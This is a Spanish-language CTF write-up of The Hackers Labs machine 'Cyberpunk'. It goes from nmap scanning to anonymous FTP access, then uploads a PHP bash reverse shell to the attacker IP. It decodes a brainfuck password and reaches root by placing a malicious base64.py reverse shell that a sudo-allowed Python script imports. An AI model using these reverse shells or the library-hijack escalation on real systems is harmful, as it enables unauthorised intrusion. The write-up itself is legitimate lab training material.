danielprz21@home:~$

thehackerslabs.com: máquina Cyberpunk



Descripción



Aquí veremos cómo logramos vulnerar la máquina “Cyberpunk” de The Hackers Labs. Esta máquina nos pone a prueba con una combinación interesante de vulnerabilidades y nos exige usar varias técnicas para llegar al acceso root. Se verán conceptos de programación, y codificaciones un tanto peculiar para obtener accesos máximos a esta máquina

Enlace de Lab:

thehackerslabs: Cyberpunk.

Dificultad:

Fácil.

Solución



Para iniciar el proceso de vulnerar esta máquina, lo primero que haremos es con ayuda de nmap ver a qué nos estamos enfrentando.

nmap -p- -Pn  -sS --min-rate 5000 --open 192.168.1.127  -oX report.xml -v

donde:

-p-: Escanea todos los puertos existentes (0-65365)

-Pn: Evita que nmap realice un descubrimiento de host antes de realizar el escaneo

-sS: Realiza un escaneo de puertos TCP mediante un escaneo SYN. Esto implica enviar un paquete SYN y esperar una respuesta; si el puerto está abierto, el host responderá con un paquete SYN-ACK

--min-rate: Configura la tasa mínima de paquetes enviados a 5000 paquetes por segundo. Esto acelera el escaneo, ya que nmap enviará paquetes a una tasa muy alta

--open: Esta opción le indica a nmap que sólo muestre los puertos que están abiertos.

-oX: Guarda la salida del escaneo en un archivo XML llamado report.xml

-v: Aumenta la verbosidad de la salida de nmap, proporcionando más detalles sobre lo que está haciendo nmap.



Obtenemos 2 puertos abiertos, 22 -> ssh y 80 -> http .

Ahora es momento de ver con qué versiones nos estamos enfrentando de cada servicio. Para ello implementamos el código:

nmap -sCV -p222,80 192.168.1.127 -oN ports_version

Donde:

-sCEsta opción le dice a nmap que ejecute scripts predeterminados contra los puertos encontrados.

-sV: Le indica a nmap que intente determinar la versión de los servicios que se están ejecutando en los puertos abiertos.

sCV es la combinación de ambos comandos.

Nos fijamos que tiene varios puertos vulnerables.

puerto 21: servicio FTP

puerto 22: servicio SSH

puerto 80: servicio http

Lo primero que haremos es ver los vectores de entrada que tiene el puerto 21, vemos que podemos hacer login de forma anónima, para ello ejecutamos:

ftp 192.168.1.127

Cuando nos pida usuario escribimos anonymous y el campo password lo dejamos en blanco



Una vez dentro, nos encontramos con varios archivos, el más interesante, es secret.txt. Lo descargamos con get y vemos que tiene el siguiente contenido:

*********************************************
*                                           *
*        Hola Netrunner,                   *
*                                           *
*   Has sido contratado por el mejor fixer  *
*   de la ciudad para llevar a cabo una     *
*   misión crucial.                         *
*                                           *
*   Tenemos información de que Arasaka,     *
*   la mega-corporación más poderosa de     *
*   Night City, está migrando sus sistemas  *
*   y actualmente parece ser vulnerable.    *
*   Necesitamos que te infiltres en sus    *
*   sistemas y desactives el Relic para     *
*   salvar la vida de V.                    *
*                                           *
*   Te espero en Apache.                    *
*                                           *
*                         - Alt             *
*********************************************


A diferencia, de lo que especificaba el nombre, no nos da ninguna información tan relevante, a parte de decirnos que están migrando y que hay una vulnerabilidad.

Fijándonos en el directorio ftp, nos fijamos que podemos subir archivos, así que lo que haremos es crear una reverse shell en php para acceder mediante el navegador.

Para crear la reverse shell, lo hacemos con el siguiente código:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.119/443 0>&1'");

lo subimos con el comando put



Abrimos una nueva terminal para usarlo como puerto de escucha, en el cual ejecutaremos la siguiente instrucción:

nc -lnvp 443



Ahora, mediante la web accedemos al archivo php que habíamos subido mediante el servicio ftp



Vamos a la terminal que teníamos de escucha y nos debería permitir poder ejecutar codigos en el servidor



Navegamos entre las carpetas más comunes del sistema que pudiesen tener información relevante, y encontramos algo en /opt con el nombre de arasaka.txt. El cual cuenta con el siguiente contenido:

++++++++++[>++++++++++>++++++++++++>++++++++++>++++++++++>+++++++++++>+++++++++++>++++++++++++>+++++++++++>+++++++++++>+++++>+++++>++++++<<<<<<<<<<<<-]>-.>+.>--.>+.>++++.>++.>---.>.>---.>.>--.>-----..

Esto lo pasamos a un traductor de brainfuck to ascii y nos debería dar una palabra, la cual aparenta ser la clave.

Intentamos con el usuario arasaka y la clave que decodificamos del brainfuck y vemos que efectivamente, tenemos acceso.



Y si hacemos un ls nos percatamos de que ya tenemos acceso a la flag de usuario.



Es momento de buscar una forma de escalar privilegios y poder llegar a root. Para ello, ejecutamos la siguiente instrucción

sudo -l



randombase64.py

import base64
message = input("Enter your string")
message_bytes = message.encode("ascii")
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode("ascii")


print(base64_message)




Vemos que podemos ejecutar como usuario root un script Python, el cual ingresas un texto y lo traduce a base64

Viendo su código fuente podemos determinar que es posible hacer una reverse shell en Python y pasarla, esto porque el script randombase64.py en su primera línea hace un import base64

Creamos un script python llamado base64.py con la siguiente instrucción:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.119",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

Abrimos una terminal con nc en escucha por el puerto 443



Del lado del servidor ejecutamos la instrucción

sudo /usr/bin/python3.11 /home/arasaka/randombase64.py

Y en nuestra terminal de escucha, tendremos el acceso root así como acceso a la flag para terminar el reto.



Y así es como obtenemos root.